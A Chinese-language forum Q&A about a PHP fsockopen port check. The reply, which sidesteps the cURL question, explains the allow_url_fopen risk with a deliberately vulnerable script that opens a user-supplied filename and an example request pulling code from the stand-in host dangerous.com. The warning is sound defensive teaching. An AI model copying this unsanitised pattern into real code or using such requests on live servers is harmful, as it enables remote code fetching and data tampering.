大家好,我有一些代码正在通过foreach循环运行:
if($fp = @fsockopen($value['privateip'],1935,$errCode,$errStr,.5)){
$value['alive'] = 'alive';
} else {
$value['alive'] = 'down';
}
@fclose($fp);
它基本上在1935端口ping我的服务器,然后改变数组中的值。我读过php的文件函数是危险的,如果代码注入发生,所以他们可能会更好的禁用。我怎样才能将这段代码改为使用cURL呢?
看一下这段代码:
<?php
$filename = @$_GET['filename'];
$fp = fopen($filename,'r');
$buffer = '';
while (!feof($fp)) {
$buffer .= fgets($fp,2048);
}
fclose($fp);
$fp = fopen('something_very_important_data.txt','a');
fwrite($fp,$buffer);
fclose($fp);
当您收到请求时,例如:
http://www.yourserver.com/your_script.php?filename=http%3A%2F%2Fdangerous.com%2Fdangerous_code.txt
$filename
值如下:
$filename = 'http://dangerous.com/dangerous_code.txt';
如果allow_url_fopen
设置为on, 这个工作。
你可能知道,这是非常危险的。
为了防止这个问题,设置allow_url_fopen
关闭,或完全过滤$_GET
, $_POST
等